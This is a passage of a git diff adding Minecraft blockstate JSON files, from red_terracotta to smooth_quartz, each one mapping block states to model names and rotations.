b/src/assets/minecraft/blockstates/red_terracotta.json new file mode 100644 index 00000000..78ac3ae6 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_tulip.json b/src/assets/minecraft/blockstates/red_tulip.json new file mode 100644 index 00000000..a2afbe18 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_wall_banner.json b/src/assets/minecraft/blockstates/red_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/red_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_wool.json b/src/assets/minecraft/blockstates/red_wool.json new file mode 100644 index 00000000..d756ff39 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_block.json b/src/assets/minecraft/blockstates/redstone_block.json new file mode 100644 index 00000000..b0ff253e --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/redstone_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_lamp.json b/src/assets/minecraft/blockstates/redstone_lamp.json new file mode 100644 index 00000000..bbd9d935 --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_lamp.json @@ -0,0 +1,10 @@ +{ + "variants": { + "lit=false": { + "model": "minecraft:block/redstone_lamp" + }, + "lit=true": { + "model": "minecraft:block/redstone_lamp_on" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_ore.json b/src/assets/minecraft/blockstates/redstone_ore.json new file mode 100644 index 00000000..cc4e3fa0 --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/redstone_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_torch.json b/src/assets/minecraft/blockstates/redstone_torch.json new file mode 100644 index 00000000..6c765135 --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_torch.json @@ -0,0 +1,10 @@ +{ + "variants": { + "lit=false": { + "model": "minecraft:block/redstone_torch_off" + }, + "lit=true": { + "model": "minecraft:block/redstone_torch" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_wall_torch.json b/src/assets/minecraft/blockstates/redstone_wall_torch.json new file mode 100644 index 00000000..de19925c --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_wall_torch.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/redstone_wall_torch_off" + }, + "facing=east,lit=true": { + "model": "minecraft:block/redstone_wall_torch" + }, + "facing=north,lit=false": { + "model": "minecraft:block/redstone_wall_torch_off", + "y": 270 + }, + "facing=north,lit=true": { + "model": "minecraft:block/redstone_wall_torch", + "y": 270 + }, + "facing=south,lit=false": { + "model": "minecraft:block/redstone_wall_torch_off", + "y": 90 + }, + "facing=south,lit=true": { + "model": "minecraft:block/redstone_wall_torch", + "y": 90 + }, + "facing=west,lit=false": { + "model": "minecraft:block/redstone_wall_torch_off", + "y": 180 + }, + "facing=west,lit=true": { + "model": "minecraft:block/redstone_wall_torch", + "y": 180 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/redstone_wire.json b/src/assets/minecraft/blockstates/redstone_wire.json new file mode 100644 index 00000000..2b8fc2d7 --- /dev/null +++ b/src/assets/minecraft/blockstates/redstone_wire.json @@ -0,0 +1,104 @@ +{ + "multipart": [ + { + "when": { + "OR": [ + { + "north": "none", + "south": "none", + "east": "none", + "west": "none" + }, + { + "north": "side|up", + "east": "side|up" + }, + { + "south": "side|up", + "east": "side|up" + }, + { + "south": "side|up", + "west": "side|up" + }, + { + "north": "side|up", + "west": "side|up" + } + ] + }, + "apply": { + "model": "minecraft:block/redstone_dust_dot" + } + }, + { + "when": { + "north": "side|up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_side0" + } + }, + { + "when": { + "south": "side|up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_side_alt0" + } + }, + { + "when": { + "east": "side|up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_side_alt1", + "y": 270 + } + }, + { + "when": { + "west": "side|up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_side1", + "y": 270 + } + }, + { + "when": { + "north": "up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_up" + } + }, + { + "when": { + "east": "up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_up", + "y": 90 + } + }, + { + "when": { + "south": "up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_up", + "y": 180 + } + }, + { + "when": { + "west": "up" + }, + "apply": { + "model": "minecraft:block/redstone_dust_up", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/repeater.json b/src/assets/minecraft/blockstates/repeater.json new file mode 100644 index 00000000..4e0ab9ce --- /dev/null +++ b/src/assets/minecraft/blockstates/repeater.json @@ -0,0 +1,244 @@ +{ + "variants": { + "delay=1,facing=east,locked=false,powered=false": { + "model": "minecraft:block/repeater_1tick", + "y": 270 + }, + "delay=1,facing=east,locked=false,powered=true": { + "model": "minecraft:block/repeater_1tick_on", + "y": 270 + }, + "delay=1,facing=east,locked=true,powered=false": { + "model": "minecraft:block/repeater_1tick_locked", + "y": 270 + }, + "delay=1,facing=east,locked=true,powered=true": { + "model": "minecraft:block/repeater_1tick_on_locked", + "y": 270 + }, + "delay=1,facing=north,locked=false,powered=false": { + "model": "minecraft:block/repeater_1tick", + "y": 180 + }, + "delay=1,facing=north,locked=false,powered=true": { + "model": "minecraft:block/repeater_1tick_on", + "y": 180 + }, + "delay=1,facing=north,locked=true,powered=false": { + "model": "minecraft:block/repeater_1tick_locked", + "y": 180 + }, + "delay=1,facing=north,locked=true,powered=true": { + "model": "minecraft:block/repeater_1tick_on_locked", + "y": 180 + }, + "delay=1,facing=south,locked=false,powered=false": { + "model": "minecraft:block/repeater_1tick" + }, + "delay=1,facing=south,locked=false,powered=true": { + "model": "minecraft:block/repeater_1tick_on" + }, + "delay=1,facing=south,locked=true,powered=false": { + "model": "minecraft:block/repeater_1tick_locked" + }, + "delay=1,facing=south,locked=true,powered=true": { + "model": "minecraft:block/repeater_1tick_on_locked" + }, + "delay=1,facing=west,locked=false,powered=false": { + "model": "minecraft:block/repeater_1tick", + "y": 90 + }, + "delay=1,facing=west,locked=false,powered=true": { + "model": "minecraft:block/repeater_1tick_on", + "y": 90 + }, + "delay=1,facing=west,locked=true,powered=false": { + "model": "minecraft:block/repeater_1tick_locked", + "y": 90 + }, + "delay=1,facing=west,locked=true,powered=true": { + "model": "minecraft:block/repeater_1tick_on_locked", + "y": 90 + }, + "delay=2,facing=east,locked=false,powered=false": { + "model": "minecraft:block/repeater_2tick", + "y": 270 + }, + "delay=2,facing=east,locked=false,powered=true": { + "model": "minecraft:block/repeater_2tick_on", + "y": 270 + }, + "delay=2,facing=east,locked=true,powered=false": { + "model": "minecraft:block/repeater_2tick_locked", + "y": 270 + }, + "delay=2,facing=east,locked=true,powered=true": { + "model": "minecraft:block/repeater_2tick_on_locked", + "y": 270 + }, + "delay=2,facing=north,locked=false,powered=false": { + "model": "minecraft:block/repeater_2tick", + "y": 180 + }, + "delay=2,facing=north,locked=false,powered=true": { + "model": "minecraft:block/repeater_2tick_on", + "y": 180 + }, + "delay=2,facing=north,locked=true,powered=false": { + "model": "minecraft:block/repeater_2tick_locked", + "y": 180 + }, + "delay=2,facing=north,locked=true,powered=true": { + "model": "minecraft:block/repeater_2tick_on_locked", + "y": 180 + }, + "delay=2,facing=south,locked=false,powered=false": { + "model": "minecraft:block/repeater_2tick" + }, + "delay=2,facing=south,locked=false,powered=true": { + "model": "minecraft:block/repeater_2tick_on" + }, + "delay=2,facing=south,locked=true,powered=false": { + "model": "minecraft:block/repeater_2tick_locked" + }, + "delay=2,facing=south,locked=true,powered=true": { + "model": "minecraft:block/repeater_2tick_on_locked" + }, + "delay=2,facing=west,locked=false,powered=false": { + "model": "minecraft:block/repeater_2tick", + "y": 90 + }, + "delay=2,facing=west,locked=false,powered=true": { + "model": "minecraft:block/repeater_2tick_on", + "y": 90 + }, + "delay=2,facing=west,locked=true,powered=false": { + "model": "minecraft:block/repeater_2tick_locked", + "y": 90 + }, + "delay=2,facing=west,locked=true,powered=true": { + "model": "minecraft:block/repeater_2tick_on_locked", + "y": 90 + }, + "delay=3,facing=east,locked=false,powered=false": { + "model": "minecraft:block/repeater_3tick", + "y": 270 + }, + "delay=3,facing=east,locked=false,powered=true": { + "model": "minecraft:block/repeater_3tick_on", + "y": 270 + }, + "delay=3,facing=east,locked=true,powered=false": { + "model": "minecraft:block/repeater_3tick_locked", + "y": 270 + }, + "delay=3,facing=east,locked=true,powered=true": { + "model": "minecraft:block/repeater_3tick_on_locked", + "y": 270 + }, + "delay=3,facing=north,locked=false,powered=false": { + "model": "minecraft:block/repeater_3tick", + "y": 180 + }, + "delay=3,facing=north,locked=false,powered=true": { + "model": "minecraft:block/repeater_3tick_on", + "y": 180 + }, + "delay=3,facing=north,locked=true,powered=false": { + "model": "minecraft:block/repeater_3tick_locked", + "y": 180 + }, + "delay=3,facing=north,locked=true,powered=true": { + "model": "minecraft:block/repeater_3tick_on_locked", + "y": 180 + }, + "delay=3,facing=south,locked=false,powered=false": { + "model": "minecraft:block/repeater_3tick" + }, + "delay=3,facing=south,locked=false,powered=true": { + "model": "minecraft:block/repeater_3tick_on" + }, + "delay=3,facing=south,locked=true,powered=false": { + "model": "minecraft:block/repeater_3tick_locked" + }, + "delay=3,facing=south,locked=true,powered=true": { + "model": "minecraft:block/repeater_3tick_on_locked" + }, + "delay=3,facing=west,locked=false,powered=false": { + "model": "minecraft:block/repeater_3tick", + "y": 90 + }, + "delay=3,facing=west,locked=false,powered=true": { + "model": "minecraft:block/repeater_3tick_on", + "y": 90 + }, + "delay=3,facing=west,locked=true,powered=false": { + "model": "minecraft:block/repeater_3tick_locked", + "y": 90 + }, + "delay=3,facing=west,locked=true,powered=true": { + "model": "minecraft:block/repeater_3tick_on_locked", + "y": 90 + }, + "delay=4,facing=east,locked=false,powered=false": { + "model": "minecraft:block/repeater_4tick", + "y": 270 + }, + "delay=4,facing=east,locked=false,powered=true": { + "model": "minecraft:block/repeater_4tick_on", + "y": 270 + }, + "delay=4,facing=east,locked=true,powered=false": { + "model": "minecraft:block/repeater_4tick_locked", + "y": 270 + }, + "delay=4,facing=east,locked=true,powered=true": { + "model": "minecraft:block/repeater_4tick_on_locked", + "y": 270 + }, + "delay=4,facing=north,locked=false,powered=false": { + "model": "minecraft:block/repeater_4tick", + "y": 180 + }, + "delay=4,facing=north,locked=false,powered=true": { + "model": "minecraft:block/repeater_4tick_on", + "y": 180 + }, + "delay=4,facing=north,locked=true,powered=false": { + "model": "minecraft:block/repeater_4tick_locked", + "y": 180 + }, + "delay=4,facing=north,locked=true,powered=true": { + "model": "minecraft:block/repeater_4tick_on_locked", + "y": 180 + }, + "delay=4,facing=south,locked=false,powered=false": { + "model": "minecraft:block/repeater_4tick" + }, + "delay=4,facing=south,locked=false,powered=true": { + "model": "minecraft:block/repeater_4tick_on" + }, + "delay=4,facing=south,locked=true,powered=false": { + "model": "minecraft:block/repeater_4tick_locked" + }, + "delay=4,facing=south,locked=true,powered=true": { + "model": "minecraft:block/repeater_4tick_on_locked" + }, + "delay=4,facing=west,locked=false,powered=false": { + "model": "minecraft:block/repeater_4tick", + "y": 90 + }, + "delay=4,facing=west,locked=false,powered=true": { + "model": "minecraft:block/repeater_4tick_on", + "y": 90 + }, + "delay=4,facing=west,locked=true,powered=false": { + "model": "minecraft:block/repeater_4tick_locked", + "y": 90 + }, + "delay=4,facing=west,locked=true,powered=true": { + "model": "minecraft:block/repeater_4tick_on_locked", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/repeating_command_block.json b/src/assets/minecraft/blockstates/repeating_command_block.json new file mode 100644 index 00000000..2e6ccead --- /dev/null +++ b/src/assets/minecraft/blockstates/repeating_command_block.json @@ -0,0 +1,50 @@ +{ + "variants": { + "conditional=false,facing=down": { + "model": "minecraft:block/repeating_command_block", + "x": 90 + }, + "conditional=false,facing=east": { + "model": "minecraft:block/repeating_command_block", + "y": 90 + }, + "conditional=false,facing=north": { + "model": "minecraft:block/repeating_command_block" + }, + "conditional=false,facing=south": { + "model": "minecraft:block/repeating_command_block", + "y": 180 + }, + "conditional=false,facing=up": { + "model": "minecraft:block/repeating_command_block", + "x": 270 + }, + "conditional=false,facing=west": { + "model": "minecraft:block/repeating_command_block", + "y": 270 + }, + "conditional=true,facing=down": { + "model": "minecraft:block/repeating_command_block_conditional", + "x": 90 + }, + "conditional=true,facing=east": { + "model": "minecraft:block/repeating_command_block_conditional", + "y": 90 + }, + "conditional=true,facing=north": { + "model": "minecraft:block/repeating_command_block_conditional" + }, + "conditional=true,facing=south": { + "model": "minecraft:block/repeating_command_block_conditional", + "y": 180 + }, + "conditional=true,facing=up": { + "model": "minecraft:block/repeating_command_block_conditional", + "x": 270 + }, + "conditional=true,facing=west": { + "model": "minecraft:block/repeating_command_block_conditional", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/respawn_anchor.json b/src/assets/minecraft/blockstates/respawn_anchor.json new file mode 100644 index 00000000..fdf950ad --- /dev/null +++ b/src/assets/minecraft/blockstates/respawn_anchor.json @@ -0,0 +1,19 @@ +{ + "variants": { + "charges=0": { + "model": "minecraft:block/respawn_anchor_0" + }, + "charges=1": { + "model": "minecraft:block/respawn_anchor_1" + }, + "charges=2": { + "model": "minecraft:block/respawn_anchor_2" + }, + "charges=3": { + "model": "minecraft:block/respawn_anchor_3" + }, + "charges=4": { + "model": "minecraft:block/respawn_anchor_4" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/rose_bush.json b/src/assets/minecraft/blockstates/rose_bush.json new file mode 100644 index 00000000..5eaa364c --- /dev/null +++ b/src/assets/minecraft/blockstates/rose_bush.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/rose_bush_bottom" + }, + "half=upper": { + "model": "minecraft:block/rose_bush_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sand.json b/src/assets/minecraft/blockstates/sand.json new file mode 100644 index 00000000..3341c41d --- /dev/null +++ b/src/assets/minecraft/blockstates/sand.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/sand" + }, + { + "model": "minecraft:block/sand", + "y": 90 + }, + { + "model": "minecraft:block/sand", + "y": 180 + }, + { + "model": "minecraft:block/sand", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sandstone.json b/src/assets/minecraft/blockstates/sandstone.json new file mode 100644 index 00000000..a3c0d709 --- /dev/null +++ b/src/assets/minecraft/blockstates/sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sandstone_slab.json b/src/assets/minecraft/blockstates/sandstone_slab.json new file mode 100644 index 00000000..0fabec37 --- /dev/null +++ b/src/assets/minecraft/blockstates/sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/sandstone" + }, + "type=top": { + "model": "minecraft:block/sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sandstone_stairs.json b/src/assets/minecraft/blockstates/sandstone_stairs.json new file mode 100644 index 00000000..08899b15 --- /dev/null +++ b/src/assets/minecraft/blockstates/sandstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/sandstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/sandstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sandstone_wall.json b/src/assets/minecraft/blockstates/sandstone_wall.json new file mode 100644 index 00000000..0f24dff0 --- /dev/null +++ b/src/assets/minecraft/blockstates/sandstone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/sandstone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/scaffolding.json b/src/assets/minecraft/blockstates/scaffolding.json new file mode 100644 index 00000000..aca5b491 --- /dev/null +++ b/src/assets/minecraft/blockstates/scaffolding.json @@ -0,0 +1,10 @@ +{ + "variants": { + "bottom=false": { + "model": "minecraft:block/scaffolding_stable" + }, + "bottom=true": { + "model": "minecraft:block/scaffolding_unstable" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sea_lantern.json b/src/assets/minecraft/blockstates/sea_lantern.json new file mode 100644 index 00000000..d1231f28 --- /dev/null +++ b/src/assets/minecraft/blockstates/sea_lantern.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/sea_lantern" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sea_pickle.json b/src/assets/minecraft/blockstates/sea_pickle.json new file mode 100644 index 00000000..89861754 --- /dev/null +++ b/src/assets/minecraft/blockstates/sea_pickle.json @@ -0,0 +1,140 @@ +{ + "variants": { + "pickles=1,waterlogged=false": [ + { + "model": "minecraft:block/dead_sea_pickle" + }, + { + "model": "minecraft:block/dead_sea_pickle", + "y": 90 + }, + { + "model": "minecraft:block/dead_sea_pickle", + "y": 180 + }, + { + "model": "minecraft:block/dead_sea_pickle", + "y": 270 + } + ], + "pickles=1,waterlogged=true": [ + { + "model": "minecraft:block/sea_pickle" + }, + { + "model": "minecraft:block/sea_pickle", + "y": 90 + }, + { + "model": "minecraft:block/sea_pickle", + "y": 180 + }, + { + "model": "minecraft:block/sea_pickle", + "y": 270 + } + ], + "pickles=2,waterlogged=false": [ + { + "model": "minecraft:block/two_dead_sea_pickles" + }, + { + "model": "minecraft:block/two_dead_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/two_dead_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/two_dead_sea_pickles", + "y": 270 + } + ], + "pickles=2,waterlogged=true": [ + { + "model": "minecraft:block/two_sea_pickles" + }, + { + "model": "minecraft:block/two_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/two_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/two_sea_pickles", + "y": 270 + } + ], + "pickles=3,waterlogged=false": [ + { + "model": "minecraft:block/three_dead_sea_pickles" + }, + { + "model": "minecraft:block/three_dead_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/three_dead_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/three_dead_sea_pickles", + "y": 270 + } + ], + "pickles=3,waterlogged=true": [ + { + "model": "minecraft:block/three_sea_pickles" + }, + { + "model": "minecraft:block/three_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/three_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/three_sea_pickles", + "y": 270 + } + ], + "pickles=4,waterlogged=false": [ + { + "model": "minecraft:block/four_dead_sea_pickles" + }, + { + "model": "minecraft:block/four_dead_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/four_dead_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/four_dead_sea_pickles", + "y": 270 + } + ], + "pickles=4,waterlogged=true": [ + { + "model": "minecraft:block/four_sea_pickles" + }, + { + "model": "minecraft:block/four_sea_pickles", + "y": 90 + }, + { + "model": "minecraft:block/four_sea_pickles", + "y": 180 + }, + { + "model": "minecraft:block/four_sea_pickles", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/seagrass.json b/src/assets/minecraft/blockstates/seagrass.json new file mode 100644 index 00000000..045c721e --- /dev/null +++ b/src/assets/minecraft/blockstates/seagrass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/seagrass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/shroomlight.json b/src/assets/minecraft/blockstates/shroomlight.json new file mode 100644 index 00000000..300f41e8 --- /dev/null +++ b/src/assets/minecraft/blockstates/shroomlight.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/shroomlight" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/shulker_box.json b/src/assets/minecraft/blockstates/shulker_box.json new file mode 100644 index 00000000..7248d53e --- /dev/null +++ b/src/assets/minecraft/blockstates/shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/skeleton_skull.json b/src/assets/minecraft/blockstates/skeleton_skull.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/skeleton_skull.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/skeleton_wall_skull.json b/src/assets/minecraft/blockstates/skeleton_wall_skull.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/skeleton_wall_skull.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/slime_block.json b/src/assets/minecraft/blockstates/slime_block.json new file mode 100644 index 00000000..b7f071be --- /dev/null +++ b/src/assets/minecraft/blockstates/slime_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/slime_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smithing_table.json b/src/assets/minecraft/blockstates/smithing_table.json new file mode 100644 index 00000000..627ae908 --- /dev/null +++ b/src/assets/minecraft/blockstates/smithing_table.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/smithing_table" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smoker.json b/src/assets/minecraft/blockstates/smoker.json new file mode 100644 index 00000000..f0a0fc9e --- /dev/null +++ b/src/assets/minecraft/blockstates/smoker.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/smoker", + "y": 90 + }, + "facing=east,lit=true": { + "model": "minecraft:block/smoker_on", + "y": 90 + }, + "facing=north,lit=false": { + "model": "minecraft:block/smoker" + }, + "facing=north,lit=true": { + "model": "minecraft:block/smoker_on" + }, + "facing=south,lit=false": { + "model": "minecraft:block/smoker", + "y": 180 + }, + "facing=south,lit=true": { + "model": "minecraft:block/smoker_on", + "y": 180 + }, + "facing=west,lit=false": { + "model": "minecraft:block/smoker", + "y": 270 + }, + "facing=west,lit=true": { + "model": "minecraft:block/smoker_on", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_quartz.json b/src/assets/minecraft/blockstates/smooth_quartz.json new file mode 100644 index 00000000..790912d3 --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_quartz.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + 